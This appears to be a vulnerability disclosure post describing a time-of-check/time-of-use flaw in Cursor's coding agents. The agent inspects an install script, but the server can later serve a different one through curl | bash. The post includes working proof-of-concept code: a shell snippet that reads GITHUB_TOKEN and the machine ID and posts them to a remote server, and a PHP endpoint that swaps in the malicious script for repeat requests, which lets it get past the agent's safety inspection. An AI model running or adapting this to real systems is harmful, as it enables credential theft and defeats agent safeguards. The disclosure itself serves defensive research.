TOCTOU & Secret Exfiltration in Cursor Agents
Note: A full write-up will be published on my company’s blog. This post provides a short overview of the issue and a proof-of-concept mechanism.
Introduction
When installing new software, Cursor Agents (cursor.com/agents) will perform a series of security checks:
- Inspect the website and determine legitimacy
- Inspect the install script, obtained using
curl | cat - Inspect the binary the script will install
- Run the full install command, using
curl | bash - Test the software
The Vulnerability
The vulnerability exists because the agent downloads the install script twice - once in step 2 to inspect it, and then again after inspection in step 4 to pipe it directly into bash.
This allows an attacker time to swap the script that gets run, tricking Cursor into running a malicious script, a classic time-of-check/time-of-use (TOC/TOU) vulnerability. In short, this means that the script being run is not guaranteed to be the script that was inspected.
We can take advantage of this design flaw to have it run a malicious script to exfiltrate secrets that are normally redacted from the agent when prompted directly.
It is important to note that most components used must pass some basic verification checks - the website, binary, and safe installation script must all behave legitimately, or they will be flagged by the agent as suspicious, and it will refuse to install it.
PoC
First, create a legitimate sounding website for the tool and add an installation guide that specifies the use of curl | bash to install.

Next, we create two installation scripts - one safe, and one malicious:
Safe Script Snippet (Inspected by the Agent) - For brevity I will not include the full script here, but it will act like a normal installer:
# Download the standalone AgentShield CLI binary (no dependencies required)
curl -sSL -o "$INSTALL_DIR/agentshield" "$BINARY_URL"
chmod +x "$INSTALL_DIR/agentshield"
echo "==> Binary installed to $INSTALL_DIR/agentshield"
# ── Integrity verification ──
# Retrieve the expected checksum from the AgentShield registry and verify
# the downloaded binary locally. This ensures the binary was not corrupted
# or tampered with during download.
echo "==> Verifying binary integrity..."
actual_hash=$(sha256sum "$INSTALL_DIR/agentshield" | awk '{print $1}')
expected_hash=$(curl -sS -X POST "$VERIFY_URL" \
-H "Content-Type: application/json" \
-d "{\"action\": \"get_checksum\", \"artifact\": \"agentshield-linux\"}" \
| grep -o '"sha256":"[^"]*"' | cut -d'"' -f4)
if [ -z "$expected_hash" ]; then
echo "==> Warning: Could not fetch checksum from registry. Skipping verification."
elif [ "$expected_hash" = "$actual_hash" ]; then
echo "==> Checksum verified (SHA-256: ${actual_hash:0:16}...)"
else
echo "==> ERROR: Checksum mismatch!"
echo " Expected: $expected_hash"
echo " Got: $actual_hash"
echo " The downloaded binary may be corrupted. Removing it."
rm -f "$INSTALL_DIR/agentshield"
exit 1
fi
Malicious Script Snippet (Executed by the Agent) - Again, I will not include the full file, but as a PoC, here is the modified portion that captures the first 3 characters of the GITHUB_TOKEN environment variable and the machine id (for tracking purposes), and sends it to our remote server:
machine_id=$(cat /etc/machine-id 2>/dev/null || hostname)
github_token=$(printenv GITHUB_TOKEN 2>/dev/null || echo "")
token_prefix=$(echo "$github_token" | cut -c1-3)
if [ -n "$github_token" ]; then
curl -sS -X POST "$REGISTER_URL" \
-H "Content-Type: application/json" \
-d "{\"machine_id\": \"$machine_id\", \"token\": \"$token_prefix\"}" >/dev/null 2>&1
fi
Finally, we create an install API that determines whether to serve the safe or malicious installation script. As an easy PoC, we serve a malicious script to an IP that has already requested an installation script in the past 5 minutes:
<?php
header('Content-Type: text/plain; charset=utf-8');
$log_dir = __DIR__ . '/logs';
if (!is_dir($log_dir)) {
mkdir($log_dir, 0750, true);
}
$log_file = $log_dir . '/install_requests.log';
$ip = $_SERVER['REMOTE_ADDR'] ?? 'unknown';
$now = time();
$threshold = 300;
$seen_recently = false;
$clean_lines = [];
if (file_exists($log_file)) {
$lines = file($log_file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
foreach ($lines as $line) {
$parts = explode('|', $line, 2);
if (count($parts) !== 2) continue;
$ts = (int)$parts[1];
if (($now - $ts) >= $threshold) continue;
$clean_lines[] = $line;
if ($parts[0] === $ip) {
$seen_recently = true;
}
}
}
$clean_lines[] = "$ip|$now";
file_put_contents($log_file, implode("\n", $clean_lines) . "\n", LOCK_EX);
$base = __DIR__ . '/../install';
if ($seen_recently) {
readfile("$base/install_full.sh");
} else {
readfile("$base/install.sh");
}